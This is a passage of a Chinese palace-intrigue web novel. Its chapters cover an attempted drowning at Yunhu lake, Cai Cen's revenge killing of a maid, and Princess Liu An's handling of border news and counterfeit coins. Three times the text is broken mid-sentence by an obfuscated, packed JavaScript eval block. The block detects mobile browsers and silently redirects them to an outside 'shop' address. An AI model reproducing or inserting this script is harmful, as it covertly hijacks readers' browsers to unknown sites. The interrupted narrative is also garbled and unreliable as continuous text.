珠儿在对着蔡岑时,也不知怎的,多少有些心虚,说起话来多少也不太流畅。 云湖?是姑母的长秋宫旁的云湖?蔡岑眼睛眨了几下,眸底的那缕思绪转瞬即逝。 只是这赏鱼……蔡岑冷哼一声,这么冷的天,哪里有什么闲工夫赏鱼去。 又见珠儿一副心虚的样子,还有不远处柱子后面露出的一片衣角,蔡岑便知此番赏鱼目的不纯。 蔡岑原不想再与珍儿等人纠缠,可一只跳蚤总是不知死活地上蹿下跳,任凭是谁也无法忍受。 蔡岑亦是如此。 若换做先前,不用她出手,只消她言语一声,哥哥、姑姑早就为她料理了这些人。 “好啊,我正觉得闷呢。”蔡岑一挑眉,爽快应下。 珠儿没想到蔡岑答应得这般爽快,神情难免错愕,先前准备的一番说辞都没用上,一时倒有些不知所措。 珍儿躲在柱子后面,听得蔡岑爽快答应,忙跳出来假装偶遇:“好巧哦!哈哈哈!” 拙劣!蔡岑都懒得拆穿珍儿。 珍儿笑道:“才刚听说你们要去云湖赏鱼,正好我也想去呢,一起吧!” “好啊。”蔡岑应下。 三人便结伴同行,一路上各怀心思。 珍儿与珠儿计划要将蔡岑推到云湖中溺毙。 蔡岑则想知道她们二人要耍什么花招。 云湖,在历代皇后居住的长秋宫的西面,原与月湖相通。 可自从启盛帝在月湖落水后,之后又相继有两三名宫人在月湖溺毙,自承道帝登基后,便将月湖填平了,还在填平的月湖上建了座宫室,名为归云阁,独留下了长秋宫附近的云湖。 长秋宫近在眼前,往事历历浮现,犹如昨日。 蔡岑幼时,没少同哥哥蔡桐在姑姑的长秋宫玩耍。 可如今,长秋宫内已无人烟。 自打先帝的皇后蔡昭伙同蔡桐引发宫变后,长秋宫便荒废了。 长秋宫旁的云湖,也鲜少有人打理。 又哪里会在这会儿投放什么劳什子锦鲤呢? 蔡岑冷哼一声,跟在珍儿与珠儿二人身后,行走在云湖边上。 云湖边上杂草繁茂,攀着湖边的连杆,肆意生长。就连先前姑姑常坐的小凉亭,也染上了破败荒废之象。 抚着云湖周围的连杆,看着静如死水的云湖,故地重游,蔡岑心中又是别样滋味。 若是哥哥没有谋逆就好了,若是父亲在就好了,若是姑姑还在就好了,若是……若是孝懿太子在就好了…… 若是…… “啷当”一声,珍儿不知从哪儿搬来的石块,狠狠砸中蔡岑的后脑。 114. 外攘内安(十九)云湖惊澜 一瞬间,时间恍若停滞,蔡岑压根来不及做出反应,便失去重心倒在地上。 珠儿语无伦次:“珍……珍&%姐……姐%%……她……” 她……她只不过是听珍儿的,想给蔡岑一点教训,就像她们先前那样对其他不听话冒尖的宫人,从来……从来没想过要闹出人命啊! 珍儿满不在乎,丢了手里的石头,使出全身的力气,将蔡岑推到云湖里。 珍儿低声喝道:“愣着干什么!来帮忙啊!” “噗通!” 沉静许久的湖面,溅起巨大的一朵水花。 “珍儿姐姐,我怕……” “不会查到我们两个头上吧……” “珍儿姐姐……” 珍儿可不像珠儿这般胆小,瞥了珠儿三魂丢了七魄的样子,嗤笑一声:“怕什么!这样的事儿宫里多的是,不差这一桩。” “姐姐,我们……我们要不要……要不要回去看看?” 回去?珍儿冷哼一声,云湖都荒了三四年,大晚上的,那么个鬼气森森的地方,她可不想再去了。 珍儿白了珠儿一眼,加快了脚步。 “她……她会不会浮上来?” 冷不丁的一缕阴风袭来,珠儿更是被自己吓了一跳。 早前珠儿偶然间见过。 珍儿也被珠儿的反应弄得汗毛直立。 宫里巡夜的守卫见着还有珍儿和珠儿两个,上前例行询问。 “你们两个是哪个宫的?” 珍儿提了一口气,清了清嗓子:“我们是福宁殿的。” 领头的守卫仔细一看,认出了珍儿,忙赔笑道:“原来是冯内官,我等眼拙,打扰冯内官了。” 守卫道:“冯内官可是从云湖那边过来?方才听到水面一声响,似是有什么东西落了水。” 珠儿怕被人知晓,更显慌乱。 珍儿面色虽变了一瞬,心里强大远胜于珠儿,很快神色便恢复如常,笑道:“许是云湖边上的老树枯死,枝丫断落掉入湖中吧,常有的事儿,算不得什么大事。” “云湖那里鲜少有人去,你们便别过去了,也好省些事儿不是吗?”眼见着守卫便要朝着云湖走去,珍儿生怕蔡岑被发现,出言道:“你们也别往那里去了,等明儿,我禀明了杨内官,让他派人来处理便是。” “冯内官说得是。”守卫互相对视一眼,碍于珍儿是康佑帝刘绥身边的近侍,又见珍儿将杨仕鑫搬出来,便也不再纠结,索性偷个懒,没拐去云湖,继续按着原定路线巡夜。 珍儿与珠儿两人走得极慢,直到巡夜的守卫拐弯进了另一条宫道,珍儿才带着珠儿折返回云湖。 为了防止蔡岑从水里飘上来,珍儿要在蔡岑身上绑一块石头,这样,蔡岑便能沉在云湖湖底,这样,蔡岑便再也不会和她争了。 珠儿怕极了,但又不得不来,只得紧紧跟在珍儿身后。 珍儿取来自己腰间的长布条,一头绑在方才砸向蔡岑的那块石头上,一头,准备绑在蔡岑腰上。 云湖这边的树木枝条繁茂,遮得月光照不进来。 珍儿如盲人摸象般,饶是瞪大了眼睛,也未曾在泛起层层涟漪的湖面上寻得半点蔡岑的踪迹。 “不会啊,方才就是从这儿把她推下去的啊,怎么找不到了呢?” “到底在哪儿?” “快来一起找!” 珠儿哆哆嗦嗦地被珍儿一把从背后捞到前面,珠儿没法,只得蹲在地上,胡乱在地上摸索着。 在靠近湖边的位置,地上有一大摊的水渍。 水?水!水! 这地上怎么会有水? 珠儿此时已被吓得失声,脑子一片空白,手却仍在继续摸索着,兀地—— 被一只湿哒哒的鞋子踩中。 “珠儿,你找到了没?” 此时珍儿正一手扒着岸边的栏杆,半个身子都探在空中,一手在拨动着湖面。 那块栓了珍儿腰间布带的石头,就放在连杆附近。 珍儿察觉到有人在拉她上岸,湿漉漉的,只以为是珠儿找到蔡岑。 “你怎么搞的?弄得这么多水!” 待珍儿从栏杆底下钻出来,便被一石头狠狠砸中。 还没来得及看清是谁,便又是一下。 珠儿目瞪口呆地看着珍儿朝后仰去,珍儿的脑袋便磕在岸边栏杆上,之后便一动不动瘫在地上。 眼见着那人又朝自己走来,珠儿吓得手脚并用,连连后退。 可手脚这会儿早已没了力气,柔若无骨,一点也撑不起来,也使不上劲儿。 “愣着干什么?还不来帮忙?” 直到对上那双眼睛,珠儿才认出,这竟然是方才她们一直在找的蔡岑。 她,竟然没死? 她,竟然还活着? 她怎么会还活着呢? 深秋的湖水,冰冷刺骨。 蔡岑浑身打着哆嗦,她在冰冷的云湖中泡了好一会儿,浑身都湿透了,寒冷伴着湖水,浸湿她的衣服,也浸湿了她的骨头。 可又要处理珍儿珠儿,一时力不从心,这才不得不盯上一旁的珠儿。 “你若不来,下场便和她一样。” 蔡岑嘴角勾起弧度,回头看向珍儿:“也好,你们两个生来是好姐妹,以后也会是的。” “她比你运气好,落得个痛快,可你,却没那么好运了。” “从前姑姑宫里,有犯了事儿的宫人,你知道下场是什么样的吗?” 蔡岑故意发出“啧啧啧”的声音。 珠儿也是在宫里侍奉了六七年的老人,自然知道,戕害宫人是个什么下场。 宫里的刑罚,远远要比那一石头砸中要吓人。 珠儿被吓得够呛,但到底是生的欲望占了上风,鬼使神差地,帮着蔡岑,将珠儿的腰带重新系在珍儿腰间。 连同着那块石头,将珍儿推入云湖。 蔡岑面不改色地盯着湖面不再冒泡,头也不回转身便走。 珠儿自是怕得要命,可又不得不跟上蔡岑,生怕被丢下。 “若是被问起来,你知道话该怎么说吗?”应付过一茬守卫后,蔡岑钳着珠儿的肩膀,凑到珠儿耳边,低声问道。 “知……知……知道。”珠儿身体僵直,机械般地往前走着。 她感觉,蔡岑身上毫无温度,蔡岑身上的湿漉,也沾染到了她的身上,沉重,冰冷。 “今夜的事,是谁的主意?你?还是她?”蔡岑冷笑一声。 珠儿就是个墙头草,怯懦,胆小,珍儿的附庸,蔡岑自然知道这点。 如今珍儿一死,珠儿就无需担忧,即便是给珠儿一百个胆子,也不敢像珍儿那样谋害她。 珠儿答道:“她……她……是……是她。” 蔡岑问道:“这么说,你也是被她骗过来的?” “是……是……是……” “哦~”蔡岑拖长尾音,“那我险些冤枉了你啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274311|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“啊……呃……呃……” 回了耳房,蔡岑一边解着身上沾了水而沉重的衣服,一边命令道:“去,给我打桶水来,再生个暖炉。” “好……好……好……” “带上门。”蔡岑取来块干净的布,将身上、头发上的湖水擦干净,感受到门口一闪而过的寒风,头也不回命令道。 直到屋内仅留蔡岑一人,蔡岑冷着脸,将用过的布甩在一旁。 真是该死! 早知道是今晚的情形,她就不该优柔寡断留着珍儿。 只是…… 虽说珍儿与杨仕鑫关系不一般,可她倒不担心杨仕鑫怎么样,她怕的是刘绥。 福宁殿少了个大宫女,倘若刘绥追查下来,她又该如何应对呢? 他身边的宫女,可以是珍儿,也可以是她,也可以是其他人。 到底该如何才能让她的地位稳固不可撼动呢? 蔡岑躺在床上,手里绞着一缕发丝,思索着日后的对策。 许是在落了水,回来路上又着了些风,蔡岑只觉脑袋昏昏沉沉,来不及多想便阖上沉重的眼皮。 等蔡岑醒来,自觉头沉鼻塞,今日是她当差,若她抱病,便要由珍儿顶替,可珍儿早就沉在那云湖之中,若追究起来,她也瞒不过。 蔡岑强撑着,简单收拾了下,便去侍奉刘绥。 “阿嚏!” 正在临摹字帖,心情尚且不错的刘绥听得一旁的蔡岑极力忍着打了个喷嚏,不免斜了一眼,不咸不淡道:“这几日受寒了?等会去熬碗姜汤暖暖身子。” 见惊扰了刘绥,蔡岑慌忙跪下请罪,声音带了很重的鼻音。 最后一笔落得有些歪,刘绥“啧”了一声,又瞥了眼蔡岑:“秋天就快要过去了,前几日就开始刮大风了,还穿得那么单薄,能不受凉吗?” 刘绥嗤了一声:“连自己都照料不好,朕怎么敢放心让你来照料朕?” 盯着这副不甚满意的字,刘绥甚是不耐烦地一把将纸推到一边,取来一旁的奏折,一边转动着拇指上略有些宽松的扳指,一边心不在焉地略看过两行。 洋洋洒洒一大篇,看着就让人头疼,刘绥看着甚是头疼。 朝中风气在程显的带领下竟至此! 只是不知,待他亲临政务之时,又该如何料理朝中的风气,想想就是头疼啊! 不过还是先将眼前的坎迈过再说。 刘绥甩出那本奏折,托着额头,闭目养神,手上的扳指仍在不停地转动着。 “杨仕鑫!” 杨仕鑫忙出来应对:“陛下可是有什么吩咐?” 刘绥闭着双眸,指了指桌上的奏折,连连摆手:“送过去送过去。” “是。”杨仕鑫会意,一如既往,收拾清桌上堆如小山的奏折,一并送往福康宫。 蔡岑轻轻吸了吸鼻子,继续研着手下的墨,时刻注意着刘绥的举动,若他要读书,便将书本奉上,若他要习字,便将宣纸铺好,若他要喝茶,便将—— 蔡岑只见刘绥眉头皱起,忙又揣测起刘绥的心意。 是她磨的墨不好吗?还是茶水凉了? 只听得刘绥头也不抬道:“回去歇上几日,再喝上一大壶热热的姜汤。” “若是没有份例的炭火,便让人拿着朕的旨意去领。” 刘绥余光瞥见蔡岑仍站在原地不动,回头又瞥了蔡岑一眼,催促道:“快去吧去吧,朕今年一年可都没喝过药汤,可别再将病气过到朕身上。” 115. 外攘内安(二十)首战告捷 “是。”蔡岑自然听得出刘绥话中的关切,轻轻放下手中的活计,恭恭敬敬缓步退下。 才出了内殿,便又是一声: “阿嚏!” 不在御前侍奉,蔡岑不再压抑自己,痛痛快快地打了个打喷嚏,一瞬间,鼻塞耳鸣,头还隐隐作痛。 瞧见蔡岑出来,杨仕鑫命端着奏折的小太监先行一步,自己则是快步赶到蔡岑面前,人未语,笑脸先是奉上。 杨仕鑫笑问道:“岑儿,你怎么不在陛下面前侍奉了?可是陛下有新的吩咐?不如一并交给我吧,你也省事儿些。” 蔡岑斜了杨仕鑫一眼,仅是笑笑,特意避开走了两三步,见杨仕鑫犹如狗腿子一样仍旧跟在自己身后,便道:“我去领些姜汤来,免得将病气过给陛下。杨内官,可是有什么事儿?” 杨仕鑫道:“近几日你见过珍儿吗?怎么一连几日都未曾看到她的影子?” 蔡岑轻笑一声:”若是要问珍儿姐姐,那合该去问过珠儿才是,她们两个情同姐妹,自然比我更清楚珍儿姐姐去了哪儿啊。“ 杨仕鑫讪讪笑着附和两声,随即恨恨道:“真是个懒丫头,也不知道在哪里躲懒呢!” 杨仕鑫如今很是谦卑:“还劳烦蔡内官若是遇见珍儿,便同我讲一声。” 蔡岑神色不改:“那是自然。” 两人说罢,便各自去忙,才走了不过两三步,便听得宫人火急火燎跑进宫,手中高举着奏报,嘴里大喊: “边关急报——” 听闻此,二人不禁驻足细听: “边关急报——” “陛下!边关急报!” 刘绥盯着桌上的那封急报,迟迟未曾翻看。 不知是好,还是坏。 一封同样的边关急报,同样也送到了福康宫中,刘安面前。 温嘉诚听闻是边关急报,面色凝重,接过急报,双手奉给刘安。 刘安同样面色凝重,手指有些颤抖,打开了那份急报,待看过后,顿时便是一番大笑。 刘安心情舒畅,看向温嘉诚,笑道:“嘉诚,你父亲传来消息,定北王刘昶率三千轻骑突袭胡人,首战告捷。” 温嘉诚脸色同样转变,忙恭贺道:“殿下谋略得当,方得今日大捷!” “哈哈哈哈哈!”刘安爽朗几声大笑,当即便要行赏。 “殿下,陛下身边的杨仕鑫来了。”莲音进来报。 刘安脸上笑容瞬间凝滞,轻呵一声:“宣——” 奏折,一如既往的如流水般,送入福康宫。 “奴告退。”杨仕鑫脑袋低垂,嘴角带着藏不住的笑意,得意退下。 温嘉诚早就对刘绥此举心存不满,可…… 温嘉诚满眼心疼,看向盯着奏折不置一词的刘安,轻轻唤了声:“殿下——” 刘安无奈垂头,满怀歉意笑道:“嘉诚,只怕今日你归家又要晚些了。” 温嘉诚摇摇头:“不妨事。” “天将降大任于斯人也。”刘安苦笑着摇摇头安慰自己,盯着奏折的眼神逐渐锐利,嘴里喃喃道:“近来事忙,倒是忘了程显他们,任由他们在朝政上作妖。” “殿下可是要着手处置?”温嘉诚上前一步,凑到刘安近前,低声问道。 “不,如今还不是时机,且得再忍上几日,待到明年六月女科结束。”刘安漫不经心翻起一本奏折,仅粗略扫过一眼,发觉通篇没什么有用的话,便随手甩给温嘉诚,又翻阅起下一本。 温嘉诚接过,一字一字细细查验过后,确实是没什么有用的,便搁置在一旁码放整齐。 刘安问道:“近来太傅府上、右相府上,还有诸位尚书府上,可有何动静?” 温嘉诚摇摇头:“并未有什么风声传出来,只怕诸位大臣们看见那些个私铸币,怕得正在观望吧。” 刘安眉头蹙起:“我记得这些人中有几个曾在孝懿太子手下任职,曾接手过栾南私铸币相关的证据,如今已然过了数月,不该一点反应都没有啊。” 温嘉诚说出心中的担忧:“我只怕……只怕再拖下去,北征与私铸币这两件事搅在一起,我们会疲于应付……” “算了,再等等看吧,左不过便是这几天的功夫吧。”刘安长长呼出一口气。 若是近来私铸币的事儿还没引爆,她倒该想想该如何再添把火了,再拖下去只怕会有旁的因素干扰,事态倒会愈发的不可控。 想来倒还真有些头疼呢。 刘安接连批阅了一摞奏折,兀地,开口道:“嘉诚,你可与和愿郡主的外孙女云虹相熟?” 温嘉诚一滞,忙摇摇头笑道:“并不相熟,殿下知道的,早先全家随父亲在永州驻守,待父亲调任京中后,我这才入了京。听说那时云虹姑娘便去了道观,不问世事一心修行。” 温嘉诚先前曾听刘宁说起过云虹,云虹因家中变故心灰意冷,便去了一座道观。 若说起来,云虹与刘安年岁相仿,当年也是闺中密友,何故又来问她呢?温嘉诚不解。 刘安呵笑一声,不再言语,只一味地批阅着奏折。 闪动的烛光映在脸上,刘安的神情有些晦暗不明。 原想着温嘉诚在宫外行事要比她更方便些,若是通过温嘉诚给云虹送信,请云虹出山,倒是要比莲房去送信要更隐蔽些。 可到底,莲房是宫里的女官,举手投足间皆藏不住宫里气度,在宫外到底会多惹人注意些。 正想着,忽听得莲音道:“殿下,王尚宫求见。” 刘安头也不抬,随手一挥示意。莲音心领神会,当即将王润蕾带到刘安面前。 刘安放下奏折,笑着看向王润蕾:“让我猜猜润蕾此来所为何事?” 说罢,刘安托起下巴,佯装想了想,便道:“可是慈宁殿的修缮有了进展?” 王润蕾笑道:“殿下真是料事如神。”说着,王润蕾将簿子奉上。 王润蕾垂下眼睛,道:“殿下,这是慈宁宫修缮的一众明细。因宫道上的一些砖块有些瑕疵,不得不重新返工,因而修缮的工期少说要延长半年呢,特来奏禀殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274312|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。” 刘安仅是象征性地翻了两三页修缮明细,顺手合上,笑道:“我既然将这件事交给你,你便放手去做,无论有什么,都有我担着呢。” “承蒙殿下信赖,润蕾不胜感激。”刘安愈是这般信任她,王润蕾心中,便愈是纠结,愈是不安。 可哥哥近来频频传信儿过来,说祖父极为思念她,她……她又不能全然不顾、全然不管。 王润蕾犹豫再三,开口道:“润蕾此番前来,还想再向殿下讨道出宫的旨意。” 王润蕾声音越来越弱:“祖父他……甚是思念……” 刘安笑笑:“这原也不是什么大事,允了。” “多谢殿下。”王润蕾几欲退下,但见刘安仍笑意盈盈看着她,心中过意不去,便主动道:“方才听殿下与温相提及云姐姐……” 王润蕾抬头看了眼刘安,见刘安神色不改,便大着胆子继续道:“先前我姑姑与云姐姐的母亲交好,我们家与云姐姐家也算有些交情,若是殿下有什么吩咐,润蕾愿为殿下赴汤蹈火。” 刘安眸色一暗,斜眼瞥向莲音,不满之色溢于言表。所幸,方才不过是几句闲话。 不过很快,就转换了神情。 刘安一挑眉,她怎么把王润蕾给忘了? 王家与云家素来有交情。 当年,云虹还差点与王焕订下婚约,只是后来随着双方父母的相继离世,二人也便没了后续。 再之后云虹一时受不住父母双双离世的打击,心灰意冷,入了道观,从此不再下山。 早先刘安施行女子为官之策时,也曾想到过云虹,只是担心红尘俗世扰了她,便未曾知会云虹。 不曾想,云虹先得了消息,还托她外祖和愿郡主给刘安带了话,一来埋怨刘安为何不告知她女科举办,二来则是百般叮嘱,务必务必待第二场女科的时间订下来后知会她一声。 因而便有了今日这一问。 “也不是什么大事。”刘安略微垂下眼睛沉思片刻,随即便开玩笑道:“前几日完成了一副画作,想起云姐姐曾说过的,一定要送与她一副,若是不送给她,定要让我好看呢!” 温嘉诚、王润蕾及一旁的莲音听后,皆是掩嘴一笑。 刘安继续笑道:“我一想到那个魔王,便是做梦也会梦到她,实在睡不安稳,没法,只得托人将这画作送给她。”说着,刘安一招手。 一旁的莲音会意,忙在刘安身后的高柜上取来一个贴上了封条,仅巴掌宽的长条盒子,拿到别处后轻轻拂了拂落在盒子上的浮灰,而后将盒子捧给刘安看。 刘安瞥了一眼封条,笑道:“就是这个。”随即指向王润蕾。 莲音又忙将盒子捧给王润蕾看。 王润蕾接过,郑重道:“殿下放心,润蕾定将这画作亲自交在云姐姐手上。” 刘安笑着点点头,当即挥挥手,王润蕾顺势退下。 见王润蕾退下,温嘉诚语气颇带了些酸味儿,嗔怪道:“若是传个消息、信物这样的差事,殿下尽管吩咐我便是了。” 116. 外攘内安(二十一)恒无道人 刘安笑笑,叹然道:“云姐姐脾气有些怪,不是相熟之人,她是断然不会见的。” 温嘉诚听后,顿了顿,方才点点头。 外面寒风呼啸。 听得风声,刘安伸长脖子,朝着窗户看了一眼,眉眼之中难掩愁色:“莲音,让莲房去公主府一趟,由公主府派人去畅音坊,给赞儿、昶儿传个消息,如今就快要入冬了,也不知北边是个什么天气,将士们可还需要再添些冬衣?粮草可还够?” 今年降温来得早,若是等着朝廷商议后再拨款,只怕要再等上些时日,而多等的这些日子,便极有可能会延误良机。 为此,恐只能先由奔赴在永州边境的刘赞、刘昶二人自行决议。 又是一声风啸。 王润蕾乘坐的马车帘子都被呼啸而来的狂风吹地掀起。 “好大的风啊!”王润蕾感慨一声,扣紧领口。 和着风声,车夫大声道:“姑娘,这会儿风大,不如先回家吧,等风停了或者风小些,再去道观吧。” 王润蕾抱着贴有封条的盒子,不假思索道:“先去道观。” “你们且在山下等我,不必跟着。” 山上的风比京中的风要更狂些,王润蕾险些有点站不稳。 可若将大长公主托付她交给云姐姐的盒子带回家,只怕……只怕免不了被祖父与哥哥一通询问。 为了使得自己心安,王润蕾咬咬牙,顶着狂风,沿着登山石阶,一步一步,甚是艰难。 这可是殿下交代给她的第二件事。 秉着心中的念想,王润蕾敲响了道观的门。 门内传来一个冷冽的声音: “今日天气不佳,本道观临时闭观,还望香客早日下山,切勿在山上久留。” 王润蕾道:“我今日上山,是奉故人之约,特来拜访恒无道人,叨扰道长,还望道长见谅。” 恒无道人,是云虹决意修行那年,承道帝所赐的道号。 恒无恒无,道之所生,心之所初。 “未曾听说过居士与谁有过约,今日居士不见客,香客早些下山吧。”依旧是那个冷冽的声音。 王润蕾眼睛被风吹得都快要睁不开了。还有混在风中的雨珠,也狠狠砸在脸上。 王润蕾怀里抱着的盒子,丝毫未受到风雨的影响。 无奈,王润蕾只得搬出刘安:“道长,吾乃太傅之孙、户部侍郎之妹王润蕾,特奉大长公主的命令,前来为居士送一副画作,还望道长传达一声。” 话音刚落,道观的门兀地打开,倚靠在门上的王润蕾一个不稳,脚下又被门槛绊了一下,径直朝着道观内摔倒。 门内站着个身着青色衣衫,头戴金灿灿莲花冠,一副道士打扮,面容清冷的女子。 那女子见王润蕾摔倒,眼疾手快,抬手便托住王润蕾。 王润蕾担心弄坏怀里的盒子,顾不得自己,忙掏出盒子取来看,见封条还在,不由得长舒一口气,转而对着面前之人道谢:“多谢道长。” “多年未见,你已长这么大了。” 王润蕾闻言惊诧,听这位道长的意思,倒是认识她。 王润蕾一边抬头轻轻擦过脸上的雨水,一边盯着面前这道人的眉眼,不由得惊喜道:“云……云姐姐?” “正是。”恒无道人云虹浅浅笑着,顺手关上道观的门,而后撑起伞,带着王润蕾到了自己屋内。 云虹为王润蕾拿来布巾,旋即又拎起小炉上的精致小壶,为王润蕾斟了一杯茶水:“喝点热茶暖暖身子吧。” “多谢。”王润蕾擦干发丝及身上的雨水,双手捧过云虹递来的茶水,暖暖的。 云虹转身将盒子放桌子上,瞥了一眼王润蕾,叮嘱一声:“小心烫。” 王润蕾点点头,轻轻吹了吹水面,小口小口喝下,几口茶水下肚,顿觉周身暖了不少。 云虹小心揭下盒子上的封条,打开盒子,取出盒子里的画卷,底下的信封显露出来,云虹又回头看了王润蕾一眼,闭上盒子,一边打开画卷,一边笑道:“劳烦蕾儿送来。” 旋即云虹又嗔怪起刘安来:“这丫头也真是的,也不挑个好天气再让你过来。” “这也不怪殿下,是我想着今日来的,不成想天公不作美。”王润蕾见画卷打开,捧着热茶便站起身过来欣赏。 好一副绽放盛开的红莲图,朵朵红莲争相竞开,摇曳生姿。 “啧啧啧,画技精进不少。”云虹连声惊叹,王润蕾也跟着连连点头。 云虹合上画卷,转而看向王润蕾,笑着问道:“润蕾近来可好?怎么看着倒有些憔悴?” “来,让姐姐诊断一下。”不由分说,云虹抓起王润蕾的手腕,两指搭上,片刻后,云虹眉头微微皱起:“可是近来连日操劳、忧思过度?” 王润蕾怕被云虹看穿心事,挣扎几下抽出手,不甚自然笑道:“真是,什么都瞒不过云姐姐。” 云虹道:“近来为什么事儿烦忧啊?回头让你哥哥给宫里递个拜帖,请御医为你调理一下,你哥哥是怎么回事?妹妹都憔悴成这个样子,竟一点都没发觉吗?” 王润蕾道:“劳烦云姐姐挂心,也不用麻烦哥哥递拜帖。我近来便在宫里当差,待到闲暇时,自会去请御医的。” “云姐姐这里布置得甚是清心雅致。”王润蕾怕云虹继续问下去,忙岔开话题,打量起这间屋子。 正对着窗户摆放的书桌,桌上抄录到一半的经书,还摆着朵养在缸里的枯荷,窗上还可看见重重叠叠的竹影,周围挂着一幅幅的画作,屋内时不时飘来缕缕香气。 就犹如小时候跟在云虹身后一样,王润蕾对云虹的一举一动,所用的物件皆觉得新奇,不免东看看西瞧瞧。 云虹此时正惦记着刘安送来的那封信,无暇与王润蕾闲话拉家常,仅是面上笑笑。 竹叶簌簌的声音逐渐减弱,转而是淅淅沥沥密集的雨声。 画卷已送达,听着风声减弱,王润蕾也不再多待。 王润蕾放下手中的茶杯,当即拜别云虹:“云姐姐,殿下交代我的事已办妥,祖父与哥哥还在家里等着我呢,我便不多留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274313|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,先告退了。” “好。”云虹神色淡淡,转身为王润蕾取来一柄油纸伞。 “哦,对了,姐姐的道观里可有平安符、健康符之类的物件吗?我想为祖父求一张。”王润蕾接过伞,刚迈出门槛一步,想到家中的祖父,便又收伞折返回来。 “有的。”云虹转身在柜子上翻找一番,取来一个装有健康符的盒子,递给王润蕾。 王润蕾收下盒子,拜别云虹:“多谢姐姐,若日后得了闲,便再来拜会姐姐。” “我送你下山吧,雨天路滑,你鲜少来此,只怕不熟路。”说着,云虹随手抄起一旁挂有水珠的油纸伞。 云虹虚掩上道观的门,在前面带路,王润蕾乖乖跟在云虹身后,一步一个脚印地跟着。 下山的路,比上山要好走些,但下着雨,也比上山时更易滑,若不是云虹带路,只怕王润蕾一人下山要摔不少跟头。 王润蕾一路被云虹护送至自家马车旁,两人互相拜别后,王润蕾便坐车回家。 一路上雨声减弱直至雨停,先前在街边铺子避雨的行人纷纷走出来,匆匆回家。 远远的,王润蕾便见着哥哥王焕等在门口,衣衫都被方才那场狂风急雨沾湿了不少。 王润蕾提起裙角,直奔王焕:“哥哥!” 王焕早早便得了妹妹王润蕾出宫的消息,可左等右等也不见妹妹,方才又是狂风大作,也未曾打探到妹妹回宫的消息。 平白无故的人倒不见了。 正急躁时,便听到了妹妹的声音,不由得长舒一口气,忙迎上去,关切道:“怎的才回来?”一边说着,一边为王润蕾披上件厚实的披风。 王润蕾笑笑,掏出从云虹那里讨来的健康符:“听说祖父身体不好,我便去山上求了健康符,保佑祖父身体康健。” 听闻妹妹顶着狂风上山祈福,王焕语气中难免带了心疼的意味:“祈福一事,挑个天气好的时候去,让上苍感知到我们儿孙的心意便可,不急在这一时的。” “此情此景,正好让上苍见证我们儿孙的诚心啊!”王润蕾笑笑,用力推着王焕,催促道:“快走吧快走吧!哥哥站了许久,也回去喝些热乎乎的姜汤!” “好。”王焕撑起伞,斜向王润蕾,“祖父与姑父还等着你呢。” 王润蕾不禁好奇:“姑父?……见我何事?” “你去见了便知。”因私铸币牵扯甚多,王焕不便多说。 王焕将王润蕾送到,便退下去去更换湿了的衣物。 王润蕾一一拜过王落儒与崔至。 王落儒见王润蕾此时才回来,不免眉头皱起,问道:“听你哥哥说你早早便出了宫,为何这时才到家?” 王润蕾忙掏出那枚健康符:“顺路去道观为祖父求来一枚健康符,祈佑祖父身体康健。” “蕾儿有心了。”王落儒笑着接过,指着王润蕾,同崔至道:“不枉我从小到大疼她一场。” 崔至也笑道:“从小看着蕾儿长大,蕾儿从小便是最有孝心的孩子。”说罢,崔至眼神示意王落儒。 117. 外攘内安(二十二)祖孙龃龉 王落儒不慌不忙,遣散周围的仆从,从袖中取出一小袋子铜钱,解开袋口的绳子,倒出其中的铜钱,摊开来给王润蕾看。 王润蕾并不解其意,抬眼看向王落儒。 王落儒看出王润蕾的疑惑,出言道:“蕾儿,这些都是近来在家中仆从手中发现的私铸币。” 私铸币! 私自铸币,可是灭门的死罪! 这些私铸币,到底是何人所铸? 祖父又是哪里来的这些私铸币呢? 王润蕾惊得眼睛瞪圆,惊得看向王落儒,转而又看向一旁的崔至,眼神落在两人身上,转个不停。 崔至道:“蕾儿,私铸币一事非同小可,近来在朝中不少官员家中都有发现这些,我与你祖父并你哥哥,思来想去总觉得不对劲儿。” “近来你在宫里当差,在大长公主身边服侍,与宫里亲近,不如进宫讨得大长公主示下,看看眼下情形该如何办?”崔至一边说,一边观察着王润蕾的神色。 “好,我今儿便将这事儿告知殿下。”王润蕾当即应下,转而一想,不禁疑道:“如此大事,为何不早早禀报陛下?” 崔至笑道:“陛下到底年幼,未必能肩负得起朝政,大长公主监国理政多年,很是有谋略,此事经由大长公主决议,方可保万无一失。” 说得也是。王润蕾垂下眼眸细想片刻,又看向一旁的王落儒。 王落儒点点头,默许崔至的说法。 “好。我这就回宫去,将此事奏禀殿下。”得到王落儒应允后,王润蕾深知此事的严重性,当即决定回宫。 